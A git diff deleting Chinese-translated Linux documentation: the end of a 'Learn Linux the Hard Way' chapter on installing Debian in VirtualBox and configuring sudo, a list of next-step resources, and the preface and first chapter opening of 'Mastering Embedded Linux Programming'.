VirtualBox 窗口。点击 VirtualBox 窗口内部并按下``。 - ![](https://archive.fo/p1ZHn/6979a652355a3d20019983500f3a22a92d1968a6.png) - -6. 按下``。 - - ![](https://archive.fo/p1ZHn/cd1b9c49b9015a9d37c09e8b91d0a7251aeffa6c.png) - -7. 按下``。 - - > 译者注:这里你可以选“中文(简体)”。 - - ![](https://archive.fo/p1ZHn/9d4256a54e6e34d36aed8373fe074f3e6439c6c2.png) - -8. 按下``。 - - > 译者注:这里你可以选“HongKong”。 - - ![](https://archive.fo/p1ZHn/e1fd69a847e9321383f87dbc9977cb8b9a0fb4a3.png) - -9. 按下``。 - - ![](https://archive.fo/p1ZHn/65b272c4e228ddcf365f61d44d5256a596935455.png) - -0. 输入`vm1`并按下``。 - - ![](https://archive.fo/p1ZHn/4801b99ce3260d1f90fee587763f2594bad2c2e7.png) - -1. 输入`site`并按下``。 - - ![](https://archive.fo/p1ZHn/5eb0e36cdf4e3ddaf10db2fb4fb2b0834c7c2bfa.png) - -2. 输入`123qwe`并按下``。 - - ![](https://archive.fo/p1ZHn/34ffc67b2618df734bcbd6f5306c2860254ce60f.png) - -3. 输入`123qwe`并按下``。 - - ![](https://archive.fo/p1ZHn/57dbc33555e2e2ae61517be0aa83cfbb1f9bfc34.png) - -4. 输入`user1`并按下``。 - - ![](https://archive.fo/p1ZHn/e0f9977d67c15b3b02e1229c7f0b454204161340.png) - -5. 按下``。 - - ![](https://archive.fo/p1ZHn/1d2d158cb7bc6dae359fb1e02214136e4a6e3e2d.png) - -6. 输入`123qwe`并按下``。 - - ![](https://archive.fo/p1ZHn/7e8415ff24fed2c2b155622889e226e92a3e51ea.png) - -7. 输入`123qwe`并按下``。 - - ![](https://archive.fo/p1ZHn/03c870e0b698e28f3654f94c751547a25cbc04e1.png) - -8. 如果你不知道这里做什么,只需按下``。 - - ![](https://archive.fo/p1ZHn/04707609537bfd69cc50fc33867a15a7320e832c.png) - -9. 选择`Guided partitioning`并按下``。 - - ![](https://archive.fo/p1ZHn/4af1a582de294fba7b8bd3aa4aca2b6d7534268f.png) - -0. 选择`Guided – use entire disk`并按下``。 - - ![](https://archive.fo/p1ZHn/d7bfde3632cf431672e448ed0f4e59da792a8401.png) - -1. 再次按下``。 - - ![](https://archive.fo/p1ZHn/a3bb62cd87b0e9359e08b3a8a2aa694258959b35.png) - -2. 选择`eparate /home, /usr, /var, and /tmp partitions`并按下``。 - - ![](https://archive.fo/p1ZHn/fc92f1246ab697a70fb40982988226f412853883.png) - -3. 选择`Finish partitioning and write changes to disk`并按下``。 - - ![](https://archive.fo/p1ZHn/a2b293906dc62fde7064426b59ad880b362d0f6a.png) - -4. 选择``并按下``。 - - ![](https://archive.fo/p1ZHn/ef0d5da56d4aad96dc711f0a527c0183e3a27269.png) - -5. 选择``并按下``。 - - ![](https://archive.fo/p1ZHn/e9cfc3142b4d63f1d217da3d85dc1140ab09d845.png) - -6. 选择``并按下``。 - - ![](https://archive.fo/p1ZHn/65f4aa627d6a40e7071cb2ac1ae68d04d09c8824.png) - -7. 选择`ftp.egr.msu.edu`并按下``。如果出现错误,选择其它的东西。 - - ![](https://archive.fo/p1ZHn/546cf834885a1e587938ea7cf5dc6e07d246e65b.png) - -8. 再次按下``。 - - ![](https://archive.fo/p1ZHn/b2685c27c688d34ff6e504ffe186dd80c99c084d.png) - -9. 选择``并按下``。 - - ![](https://archive.fo/p1ZHn/fc6ebaa84a254c1ad045d64526b1a2326a37b237.png) - -0. 使用``选择`SSH server and Standard system utilities`,并按下``。 - - ![](https://archive.fo/p1ZHn/713e8e08d2e059d156824e33da39e48abd9de65b.png) - -1. 选择``并按下``。 - - ![](https://archive.fo/p1ZHn/aeb99f9cf80d45d2015fa9b1f318a9b19cec2db4.png) - -2. 选择``并按下``。你新安装的 Debian 会重启。 - - ![](https://archive.fo/p1ZHn/c912182ce24a01767fa1ffde3b08b176a3fa35f3.png) - -3. 点击`Devices`并选择`Network adapters`。 - - ![](https://archive.fo/p1ZHn/37877d8aacfd1da161dc8bdb06a2c2883dae22ca.png) - -4. 点击`Port Forwarding`。 - - ![](https://archive.fo/p1ZHn/bbcbf2ef6b2cfd5786201318978b5f9bd5bb32fa.png) - -5. 点击`Plus`按钮。 - - ![](https://archive.fo/p1ZHn/befa3bdfeebb864af78501c3d4c395293c2bc030.png) - -6. 在`Host Port`中输入`22`,`Guest Port`中输入`22`,点击`OK`。 - - ![](https://archive.fo/p1ZHn/89218bd92e2e590456bae0a7ac8d1c2168213318.png) - -7. 再次点击`OK`。 - - ![](https://archive.fo/p1ZHn/df2515bcd3fa375f8cf17f4b86a85f08d5cf47ef.png) - -8. 让你的 Debian 系统运行一会儿。 - - ![](https://archive.fo/p1ZHn/8648c8f7806c19ac2b3500adeb4bcef0f1dcd313.png) - -9. 启动`putty`,在`Host Name`中输入`localhost`(或 IP 地址),在`Port`字段中输入`22`。点击`Open`。 - - ![](https://archive.fo/p1ZHn/b4c54192c06c066444897554eb37f8693ca17578.png) - -0. 点击`Yes`。 - - ![](https://archive.fo/p1ZHn/895745a41f1b557b6befcb3a73450747e815f8c3.png) - -1. 输入`user1`,点击``。输入`123qwe`,并再输入一次,来真正享受你的作品吧。 - - ![](https://archive.fo/p1ZHn/15936cef6402ab07e7982d18d4302b869b8136ab.png) - -你以为这就完了吗?现在将这些输入`putty`,通过按下``结束每个命令: - -``` -1: su -2: 123qwe -3: sed -i '/^deb cdrom.*$/d' /etc/apt/sources.list -4: aptitude update -5: aptitude install vim sudo parted -``` - -询问时,输入`y`并按下``。 - -``` -6: update-alternatives --config editor -``` - -询问时,输入`3`并按下``。 - -``` -7: sed -i 's/%sudo ALL=(ALL) ALL/%sudo ALL=(ALL) NOPASSWD:ALL/' /etc/sudoers -8: usermod user1 -G sudo -``` - -关闭`putty`,再次打开它,并作为`user1`登入`vm1`,输入这个: - -``` -9: sudo -s -``` - -如果你得到了`root@vm1:/home/user1#`,那么一切正常,开瓶啤酒奖励自己吧。 - -## 你会看到什么 - -``` -user1@vm1:~$ su -Password: -root@vm1:/home/user1# sed -i '/^deb cdrom.*$/d' /etc/apt/sources.list -root@vm1:/home/user1# aptitude update -Hit http://security.debian.org squeeze/updates Release.gpg -Ign http://security.debian.org/ squeeze/updates/main Translation-en -Ign http://security.debian.org/ squeeze/updates/main Translation-en_US -Hit http://security.debian.org squeeze/updates Release -Hit http://ftp.egr.msu.edu squeeze Release.gpg -Hit http://security.debian.org squeeze/updates/main Sources -Hit http://security.debian.org squeeze/updates/main amd64 Packages -Ign http://ftp.egr.msu.edu/debian/ squeeze/main Translation-en -Ign http://ftp.egr.msu.edu/debian/ squeeze/main Translation-en_US -Hit http://ftp.egr.msu.edu squeeze-updates Release.gpg -Ign http://ftp.egr.msu.edu/debian/ squeeze-updates/main Translation-en -Ign http://ftp.egr.msu.edu/debian/ squeeze-updates/main Translation-en_US -Hit http://ftp.egr.msu.edu squeeze Release -Hit http://ftp.egr.msu.edu squeeze-updates Release -Hit http://ftp.egr.msu.edu squeeze/main Sources -Hit http://ftp.egr.msu.edu squeeze/main amd64 Packages -Get:1 http://ftp.egr.msu.edu squeeze-updates/main Sources/DiffIndex [2,161 B] -Hit http://ftp.egr.msu.edu squeeze-updates/main amd64 Packages/DiffIndex -Hit http://ftp.egr.msu.edu squeeze-updates/main amd64 Packages -Fetched 2,161 B in 3s (603 B/s) -root@vm1:/home/user1# aptitude install vim sudo parted -The following NEW packages will be installed: - libparted0debian1{a} parted sudo vim vim-runtime{a} -0 packages upgraded, 5 newly installed, 0 to remove and 0 not upgraded. -Need to get 8,231 kB of archives. After unpacking 29.8 MB will be used. -Do you want to continue? [Y/n/?] y -Get:1 http://security.debian.org/ squeeze/updates/main sudo amd64 1.7.4p4-2.squeeze.3 [610 kB] -Get:2 http://ftp.egr.msu.edu/debian/ squeeze/main libparted0debian1 amd64 2.3-5 [341 kB] -Get:3 http://ftp.egr.msu.edu/debian/ squeeze/main parted amd64 2.3-5 [156 kB] -Get:4 http://ftp.egr.msu.edu/debian/ squeeze/main vim-runtime all 2:7.2.445+hg~cb94c42c0e1a-1 [6,207 kB] -Get:5 http://ftp.egr.msu.edu/debian/ squeeze/main vim amd64 2:7.2.445+hg~cb94c42c0e1a-1 [915 kB] -Fetched 8,231 kB in 1min 18s (105 kB/s) -Selecting previously deselected package libparted0debian1. -(Reading database ... 34745 files and directories currently installed.) -Unpacking libparted0debian1 (from .../libparted0debian1_2.3-5_amd64.deb) ... -Selecting previously deselected package parted. -Unpacking parted (from .../parted_2.3-5_amd64.deb) ... -Selecting previously deselected package sudo. -Unpacking sudo (from .../sudo_1.7.4p4-2.squeeze.3_amd64.deb) ... -Selecting previously deselected package vim-runtime. -Unpacking vim-runtime (from .../vim-runtime_2%3a7.2.445+hg~cb94c42c0e1a-1_all.deb) ... -Adding 'diversion of /usr/share/vim/vim72/doc/help.txt to /usr/share/vim/vim72/doc/help.txt.vim-tiny by vim-runtime' -Adding 'diversion of /usr/share/vim/vim72/doc/tags to /usr/share/vim/vim72/doc/tags.vim-tiny by vim-runtime' -Selecting previously deselected package vim. -Unpacking vim (from .../vim_2%3a7.2.445+hg~cb94c42c0e1a-1_amd64.deb) ... -Processing triggers for man-db ... -Setting up libparted0debian1 (2.3-5) ... -Setting up parted (2.3-5) ... -Setting up sudo (1.7.4p4-2.squeeze.3) ... -No /etc/sudoers found... creating one for you. -Setting up vim-runtime (2:7.2.445+hg~cb94c42c0e1a-1) ... -Processing /usr/share/vim/addons/doc -Setting up vim (2:7.2.445+hg~cb94c42c0e1a-1) ... -update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/vim (vim) in auto mode. -update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/vimdiff (vimdiff) in auto mode. -update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/rvim (rvim) in auto mode. -update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/rview (rview) in auto mode. -update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/vi (vi) in auto mode. -update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/view (view) in auto mode. -update-alternatives: using /usr/bin/vim.basic to provide /usr/bin/ex (ex) in auto mode. -root@vm1:/home/user1# update-alternatives --config editor -There are 3 choices for the alternative editor (providing /usr/bin/editor). - - Selection Path Priority Status ------------------------------------------------------------- -* 0 /bin/nano 40 auto mode - 1 /bin/nano 40 manual mode - 2 /usr/bin/vim.basic 30 manual mode - 3 /usr/bin/vim.tiny 10 manual mode - -Press enter to keep the current choice[*], or type selection number: 3 -update-alternatives: using /usr/bin/vim.tiny to provide /usr/bin/editor (editor) in manual mode. -root@vm1:/home/user1# sed -i 's/%sudo ALL=(ALL) ALL/%sudo ALL=(ALL) NOPASSWD:ALL/' /etc/sudoers -root@vm1:/home/user1# usermod user1 -G sudo -root@vm1:/home/user1# -``` - -## 解释 - -1. 使你成为超级用户或`root`用户。 -1. 你在安装过程中输入的`root`密码。 -1. 修改仓库文件,因此 Debian 将尝试仅仅从互联网安装新软件。 -1. 更新可用软件数据库。 -1. 安装`vim`,`sudo`和`parted`包。 -1. 将默认系统文本编辑器更改为`vim`。 -1. 允许你通过修改`sudo`配置文件成为超级用户,而不输入密码。 -1. 将你添加到`sudo`组,以便你可以通过`sudo`成为`root`。 -1. 检查你是否能够成为`root`。 diff --git a/docs/llthw-zh/next.md b/docs/llthw-zh/next.md deleted file mode 100644 index f557f4b0..00000000 --- a/docs/llthw-zh/next.md +++ /dev/null @@ -1,22 +0,0 @@ -# 下一步做什么 - -> 原文:[What to do next](https://archive.fo/qkILJ) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -恭喜你到达了这里,但你的旅程才刚刚开始。请参阅下面的资源,来了解之后要做什么。 - -+ 每天阅读一个手册页。使其成为习惯。每天阅读一个随机的手册页。我的笔记本上现在有大约 6000 个手册页,所以可以看很多年。 -+ 从零开始构建你自己的 Linux 发行版:。你可能希望将我的 Debian 装置用于此任务和其他任务。 -+ 自己学一些正则表达式: -+ 自己学一些 bash 脚本: -+ 看书。例如,这本不错:[《Unix 和 Linux管理手册》](http://www.admin.com/)。另请阅读[《Unix 厌恶者手册》](http://en.wikipedia.org/wiki/The_UNIX-HATERS_Handbook,并写出你认为仍然有效的那些观点。现在意识到,所有的操作系​​统都是糟糕的,只是有些比其它更糟糕。 -+ 去找一个提供 VPS(虚拟专用服务器或虚拟机)的托管服务器。安装像 Apache 这样的东西和你自己的 wiki。在线记录你的发现。 -+ 请访问 ,看看 Microsoft 技术可以做什么。 -+ 在你的 VPS 上按照 设置一切。只需设置,检查它是否正常工作并将其删除。或不要删除。无论如何,它将为你提供服务器管理所需的经验。 - -我会在某一天把它做得更好,但是由于这个资源列表,你应该已经很忙了。祝你好运。 diff --git a/docs/master-emb-linux-prog/00.md b/docs/master-emb-linux-prog/00.md deleted file mode 100644 index 4a3367ae..00000000 --- a/docs/master-emb-linux-prog/00.md +++ /dev/null @@ -1,136 +0,0 @@ -# 零、前言 - -多年来,Linux 一直是嵌入式计算的中流砥柱。 然而,从整体上涵盖这一主题的书籍却少之又少:这本书就是为了填补这一空白。 “嵌入式 Linux”一词定义不明确,可以适用于从恒温器到 Wi-Fi 路由器再到工业控制单元的各种设备内的操作系统。 然而,它们都是基于相同的基本开源软件构建的。 这些都是我在这本书中描述的技术,基于我作为一名工程师的经验和我为培训课程开发的材料。 - -技术不会停滞不前。 以嵌入式计算为基础的行业和主流计算一样容易受到摩尔定律的影响。 这意味着,自本书第一版出版以来,许多事情都发生了惊人的变化。 第三版经过全面修订,使用了主要开源组件的最新版本,包括 Linux5.4、Yocto Project 3.1 Dunfall 和 Buildroot 2020.02 LTS。 除了 Autotools 之外,这本书现在还涵盖了 CMake,这是一种现代构建系统,近年来得到了越来越多的采用。 - -*掌握嵌入式 Linux 编程*大致按照您在实际项目中遇到的顺序介绍这些主题。 前八章涉及项目的早期阶段,涵盖了选择工具链、引导加载器和内核等基础知识。 我以 Buildroot 和 Yocto 项目为例介绍了嵌入式构建系统的概念。 这一部分以对 Yocto 项目的新的深入报道结束。 - -*第 2 节*,*第 9 章*到*15*介绍了在正式进行开发之前需要做出的各种设计决策。 它涵盖了文件系统、软件更新、设备驱动程序、`init`程序和电源管理等主题。 [第 12 章](12.html#_idTextAnchor356)演示了利用分路板进行快速成型的各种技术,包括如何读取原理图、焊头和使用逻辑分析仪排除信号故障。 [*第 14 章*](14.html#_idTextAnchor411)是对 Buildroot 的深入研究,您将学习如何使用 BusyBox`runit`将系统软件划分为独立的服务。 - -*第 3 节*、*第 16 章*、*17*和*18*将帮助您进入项目的实施阶段。 我们从 Python 打包和依赖项管理开始,随着机器学习应用继续席卷全球,这个话题变得越来越重要。 接下来,我们将介绍各种形式的进程间通信和多线程编程。 本节最后仔细研究了 Linux 如何管理内存,并演示了如何使用各种可用的工具测量内存使用情况和检测内存泄漏。 - -第四节包括*第 19 章*和*20*,向您展示了如何有效地利用 Linux 提供的许多调试和性能分析工具来检测问题和识别瓶颈。 [*第 19 章*](19.html#_idTextAnchor529)现在介绍如何配置 Visual Studio 代码以使用 GDB 进行远程调试。 [*第 20 章*](20.html#_idTextAnchor561)现在包括了 BPF 的内容,BPF 是一种在 Linux 内核中实现高级编程跟踪的新技术。 最后一章汇集了几个线程来解释 Linux 如何用于实时应用。 - -每章介绍嵌入式 Linux 的一个主要领域。 它描述了背景以便您可以了解一般原则,但它还包括详细的工作示例,说明这些领域中的每一个。 你可以把它当作一本理论书,或者一本样例书。 如果你两者兼而有之,效果最好:理解理论,然后在现实生活中尝试。 - -# 这本书是给谁看的 - -这本书是为对嵌入式计算和 Linux 感兴趣的开发人员编写的,这些开发人员希望将他们的知识扩展到该主题的各个分支。 在写这本书时,我假设您对 Linux 命令行有基本的了解,在编程示例中,我假定您有 C 和 Python 语言的实用知识。 有几章侧重于嵌入式目标板中的硬件,因此,熟悉硬件和硬件接口在这些情况下将是明显的优势。 - -# 这本书涵盖了哪些内容 - -[*第 1 章*](01.html#_idTextAnchor014),*从*开始,通过描述嵌入式 Linux 生态系统和项目开始时提供的选择来设置场景。 - -[*第 2 章*](02.html#_idTextAnchor029),*了解工具链*描述了工具链的组件,并向您展示了如何为目标线路板创建用于交叉编译代码的工具链。 它描述了从哪里获得工具链,并提供了关于如何从源代码构建工具链的详细信息。 - -[*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*解释了引导加载程序在将 Linux 内核加载到内存中的作用,并使用 U-Boot 作为示例。 它还引入了设备树作为几乎所有嵌入式 Linux 系统中用于编码硬件细节的机制。 - -[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*提供了有关如何为嵌入式系统选择 Linux 内核并为设备内的硬件配置它的信息。 它还介绍了如何将 Linux 移植到新硬件上。 - -[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*通过如何配置根文件系统的分步指南介绍了嵌入式 Linux 实现的用户空间部分背后的思想。 - -[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*涵盖了两个常用的嵌入式 Linux 构建系统,Buildroot 和 Yocto Project,它们自动执行前四章中描述的步骤。 - -[*第 7 章*](07.html#_idTextAnchor193),*使用 Yocto*进行开发,演示了如何在现有 BSP 层上构建系统映像,如何使用 Yocto 的可扩展 SDK 开发板载软件包,以及如何使用完整的运行时包管理来运行您自己的嵌入式 Linux 发行版。 - -[第 8 章](08.html#_idTextAnchor223),*Yocto Under the Hood*介绍了 Yocto 的构建工作流程和体系结构,包括对 Yocto 独特的多层方法的解释。 它还通过实际食谱文件中的示例分析了 BitBake 语法和语义的基础知识。 - -[*第 9 章*](09.html#_idTextAnchor246),*创建存储策略*讨论了管理闪存(包括原始闪存芯片和**嵌入式 MMC**(**eMMC**)封装所带来的挑战。 它描述了适用于每种技术的文件系统。 - -[*第 10 章*](10.html#_idTextAnchor278),*现场更新软件*研究了设备部署后更新软件的各种方式,包括完全托管的**空中**(**OTA**)更新。 正在讨论的关键话题是可靠性和安全性。 - -[*第 11 章*](11.html#_idTextAnchor329),*与设备驱动程序*接口,描述内核设备驱动程序如何通过实现一个简单的驱动程序与硬件交互。 它还描述了从用户空间调用设备驱动程序的各种方式。 - -[*第 12 章*](12.html#_idTextAnchor356),*使用转接板进行原型制作*,演示了如何使用 Beaglebone Black 的预置 Debian 映像和外围转接板快速制作硬件和软件原型。 您将学习如何阅读数据手册、布线电路板、多路复用设备树绑定以及分析 SPI 信号。 - -[*第 13 章*](13.html#_idTextAnchor391),*启动-init 程序*解释了第一个用户空间 -程序-`init`-如何启动系统的其余部分。 它描述了`init`程序的三个版本,每个版本都适用于不同的嵌入式系统组,从 BusyBox`init`的简单性到 System V`init`,再到当前最先进的方法`systemd`。 - -[*第 14 章*](14.html#_idTextAnchor411),*从 BusyBox Runit*开始,向您展示如何使用 Buildroot 将您的系统划分为独立的 BusyBox`runit`服务,每个服务都有自己的专用进程监控和日志记录,就像`systemd`提供的那样。 - -[*第 15 章*](15.html#_idTextAnchor430),*管理电源*考虑了调整 Linux 以降低功耗的各种方法,包括动态频率和电压调整、选择更深的空闲状态和系统挂起。 其目的是让设备在充满电池的情况下运行更长时间,同时也能运行得更冷。 - -[*第 16 章*](16.html#_idTextAnchor449),*打包 Python*解释了将 Python 模块捆绑在一起进行部署有哪些选择,以及何时使用一种方法而不是另一种方法。 它涵盖`pip`、虚拟环境、`conda`和 Docker。 - -[*第 17 章*](17.html#_idTextAnchor473),*了解进程和线程*从应用员的角度描述嵌入式系统。 本章介绍进程和线程、进程间通信以及调度策略。 - -[*第 18 章*](18.html#_idTextAnchor502),*管理内存*介绍了虚拟内存背后的思想,以及如何将地址空间划分为内存映射。 它还描述了如何准确测量内存使用情况以及如何检测内存泄漏。 - -[*第 19 章*](19.html#_idTextAnchor529),*使用 gdb*调试,向您展示了如何使用 GNU 调试器 gdb 和调试代理`gdbserver`来调试在目标设备上远程运行的应用。 它接着展示了如何通过 KGDB 使用内核调试存根来扩展此模型以调试内核代码。 - -[*第 20 章*](20.html#_idTextAnchor561),*分析和跟踪*涵盖了可用于测量系统性能的技术,从整个系统配置文件开始,然后聚焦于瓶颈导致性能较差的特定 -区域。 它还描述了如何使用 Valgrind 检查应用使用线程同步和内存分配的正确性。 - -[*第 21 章*](21.html#_idTextAnchor600),*实时编程*提供了 Linux 实时编程的详细指南,包括内核配置和`PREEMPT_RT`实时内核补丁。 内核跟踪工具 Ftrace 用于测量内核延迟,并显示各种内核配置的影响。 - -# 充分利用这本书 - -本书中使用的软件完全是开源的。 在几乎所有情况下,我都使用了撰写本文时可用的最新稳定版本。 虽然我试图以一种不特定于版本的方式描述主要功能,但不可避免的是,其中一些示例需要修改才能与以后的软件一起使用。 - -![](img/B11566_Preface_Table-01.jpg) - -*有关详细信息,请参阅位于[https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html](https://www.yoctoproject.org/docs/current/brief-yoctoprojectqs/brief-yoctoprojectqs.html)的*Yocto 项目快速构建*指南的*兼容 Linux 发行版*部分。 - -嵌入式开发涉及两个系统:用于开发程序的主机和运行程序的目标。 对于主机系统,我使用的是 Ubuntu20.04LTS,但大多数 Linux 发行版只需稍作修改即可运行。 您可能决定在虚拟机中作为来宾运行 Linux,但您应该知道,某些任务(如使用 Yocto Project 构建发行版)要求很高,在 Linux 的本机安装上运行效果更好。 - -我选择了三个示例目标:QEMU 模拟器、Beaglebone Black 和 Raspberry PI 4。使用 QEMU 意味着您可以在不投资任何额外硬件的情况下试用大多数示例。 另一方面,如果你有真正的硬件,有些东西会工作得更好,为此,我选择了 Beaglebone Black,因为它不贵,随处可见,而且有非常好的社区支持。 Raspberry Pi 4 是在第三版中增加的,因为它有内置的 Wi-Fi 和蓝牙功能。 当然,你并不局限于这三个目标。 这本书背后的想法是为你提供问题的一般解决方案,这样你就可以将它们应用到广泛的目标板上。 - -# 下载示例代码文件 - -您可以从 gihub 下载本书的示例代码文件,地址是 -[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -如果代码有更新,它将在现有的 GitHub 存储库中进行更新。 我们还在[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)上提供了丰富的图书和视频目录中的其他代码包。 看看他们! - -# 下载彩色图片 - -我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。 您可以在此处下载:[http://www.packtpub.com/sites/default/files/downloads/9781789530384_ColorImages.pdf](http://www.packtpub.com/sites/default/files/downloads/9781801071000_ColorImages.pdf)。 - -# 使用的惯例 - -本书中使用了许多文本约定。 - -`Code in text`:指示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。 这里有一个示例:“要配置网络的主机端,您需要来自 User Mode Linux(UML)项目的`tunctl`命令。” - -代码块设置如下: - -```sh -#include -#include -int main (int argc, char *argv[]) -{ - printf ("Hello, world!\n"); - return 0; -} -``` - -任何命令行输入或输出都如下所示: - -```sh -$ sudo tunctl -u $(whoami) -t tap0 -``` - -**粗体**:表示您在屏幕上看到的新术语、重要单词或单词。 例如,菜单或对话框中的单词显示在文本中,如下所示。 这里有一个例子:“单击 Etcher 中的**Flash**来写入图像。” - -提示或重要说明 - -看起来就像这样。 - -# 保持联系 - -欢迎读者的反馈。 - -**一般反馈**:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并向我们发送电子邮件至[customercare@Packtpub.com](mailto:customercare@packtpub.com)。 - -**勘误表**:虽然我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.Packtpub.com/support/errata](http://www.packtpub.com/support/errata),选择您的图书,单击勘误表提交表链接,然后输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的非法复制我们的作品,请您提供地址或网站名称,我们将不胜感激。 请通过[Copyright@Packt.com](mailto:copyright@packt.com)联系我们,并提供该材料的链接。 - -**如果您有兴趣成为一名作者**:如果有一个您擅长的主题,并且您有兴趣撰写或投稿一本书,请访问[Auths.Packtpub.com](http://authors.packtpub.com)。 - -# 评论 - -请留下评论。 一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢? 这样,潜在读者就可以看到并使用您不偏不倚的意见来做出购买决定,我们 Packt 可以了解您对我们产品的看法,我们的作者也可以看到您对他们的书的反馈。 谢谢! - -有关 Packt 的更多信息,请访问[Packt.com](http://packt.com)。 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/01.md b/docs/master-emb-linux-prog/01.md deleted file mode 100644 index cfe1632e..00000000 --- a/docs/master-emb-linux-prog/01.md +++ /dev/null @@ -1,256 +0,0 @@ -# 一、开始 - -您即将开始处理您的下一个项目,这一次它将运行 Linux。 在你把手指放到键盘上之前,你应该想些什么呢? 让我们从高层次的角度来看一下嵌入式 Linux,看看它为什么流行,开放源码许可证的含义是什么,以及运行 Linux 需要什么样的硬件。 - -Linux 在 1999 年左右首次成为嵌入式设备的可行选择。 就在那时,Axis([DVR](https://www.axis.com))发布了他们的第一个基于 https://www.axis.com 的网络摄像头和 TiVo([https://business.tivo.com](https://business.tivo.com))他们的第一个**数字录像机**(**DVR**)。 自 1999 年以来,Linux 变得越来越流行,到了今天,它已经成为许多类别产品的首选操作系统。 2021 年,运行 Linux 的设备超过 20 亿台。 这包括大量使用 Linux 内核的安卓(Android)智能手机,以及数以亿计的机顶盒、智能电视和 Wi-Fi 路由器,更不用说数量较小的各种设备,如车辆诊断、磅秤、工业设备和医疗监护设备。 - -在本章中,我们将介绍以下主题: - -* 选择 Linux -* 什么时候不应该选择 Linux -* 与球员见面 -* 在项目生命周期中移动 -* 导航开放源码 -* 为嵌入式 Linux 选择硬件 -* 获取本书的硬件 -* 配置您的开发环境 - -# 选择 Linux - -为什么 Linux 如此普及? 为什么这么简单的东西需要运行像 Linux 这样复杂的东西才能在屏幕上显示流媒体视频呢? - -简单的答案是摩尔定律:英特尔的联合创始人戈登·摩尔(Gordon Moore)在 1965 年观察到,芯片上的元件密度大约每两年就会翻一番。 这适用于我们在日常生活中设计和使用的设备,就像它适用于台式机、笔记本电脑和服务器一样。 大多数嵌入式设备的核心是一个高度集成的芯片,它包含一个或多个处理器内核,并与主存储器、大容量存储器和多种类型的外围设备接口。 这被称为**片上系统**或**SoC**,并且 SoC 的复杂性根据摩尔定律不断增加。 典型的 SoC 有一本长达数千页的技术参考手册。 您的电视不会像以前的模拟电视机那样简单地显示视频流。 - -数据流是数字的,可能是加密的,需要进行处理才能创建图像。 您的电视已经(或即将)连接到互联网。 它可以从智能手机、平板电脑和家庭媒体服务器接收内容。 它可以(或很快就会)用来玩游戏等等。 您需要一个完整的操作系统来管理这种复杂程度。 - -以下是推动采用 Linux 的一些要点: - -* Linux 具有必要的功能。 它有一个很好的调度器,一个很好的网络堆栈,支持 USB,Wi-Fi,蓝牙,多种存储介质,对多媒体设备的良好支持等等。 它勾选了所有的方框。 -* Linux 已经移植到了广泛的处理器体系结构上,包括一些在 SoC 设计中非常常见的体系结构-ARM、MIPS、x86 和 PowerPC。 -* Linux 是开放源码的,因此您可以自由获取源代码并根据需要对其进行修改。 您或代表您工作的人员可以为您的特定 SoC 板或设备创建主板支持包。 您可以添加主线源代码中可能缺少的协议、功能和技术。 您可以删除不需要的功能,以减少内存和存储需求。 Linux 是灵活的。 -* Linux 有一个活跃的社区;就 Linux 内核而言,非常活跃。 每隔 8 到 10 周就会有一个新的内核发行版,每个发行版都包含来自 1000 多名开发人员的代码。 活跃的社区意味着 Linux 是最新的,并且支持当前的硬件、协议和标准。 -* 开源许可证保证您可以访问源代码。 没有与供应商挂钩的产品。 - -出于这些原因,Linux 是复杂设备的理想选择。 但有几点我应该在这里提一下。 复杂性使其更难理解。 再加上快速发展的开发过程和开源的分散结构,您必须投入一些精力来学习如何使用它,并在它发生变化时不断地重新学习。 我希望这本书能对这个过程有所帮助。 - -# 什么时候不选择 Linux - -Linux 适合您的项目吗? Linux 在所解决的问题证明其复杂性是合理的情况下工作得很好。 在需要连通性、健壮性和复杂用户界面的情况下,它尤其适用。 然而,它不能解决所有问题,所以在你开始之前,以下是一些需要考虑的事情: - -* 你的硬件能胜任这项工作吗? 与 VxWorks 或 QNX 等传统的**实时操作系统**(**RTOS**)相比,Linux 需要更多的资源。 它至少需要一个 32 位处理器和更大的内存。 我将在有关典型硬件要求的一节中详细介绍。 -* 你有合适的技能吗? 项目的早期部分,电路板提升,需要详细了解 Linux 及其与您的硬件的关系。 同样,在调试和调优应用时,您需要能够解释结果。 如果你没有内部的技能,你可能想把一些工作外包出去。 当然,读这本书会有帮助! -* 您的系统是实时的吗? Linux 可以处理许多实时活动,只要 - 您关注某些细节,我将在[*第 21 章*](21.html#_idTextAnchor600)、 - *实时编程*中详细介绍这些细节。 -* 您的代码是否需要监管部门的批准(医疗、汽车、航空航天等)? 监管验证和确认的负担可能会让另一个操作系统成为更好的选择。 即使您选择在这些环境中使用 Linux,从为现有产品(如您正在构建的产品)提供 Linux 的公司购买商业发行版也是有意义的。 - -仔细考虑这些点。 也许最好的成功指标是寻找运行 Linux 的类似产品,看看他们是如何做到这一点的;遵循最佳实践。 - -# 与选手见面 - -开源软件从何而来? 谁写的? 具体地说,这与嵌入式开发的关键组件(工具链、引导加载程序、内核和根文件系统中的基本实用程序)有何关系? - -主要参与者如下: - -* **开放源码社区**:毕竟,这是生成您将要使用的软件的引擎。 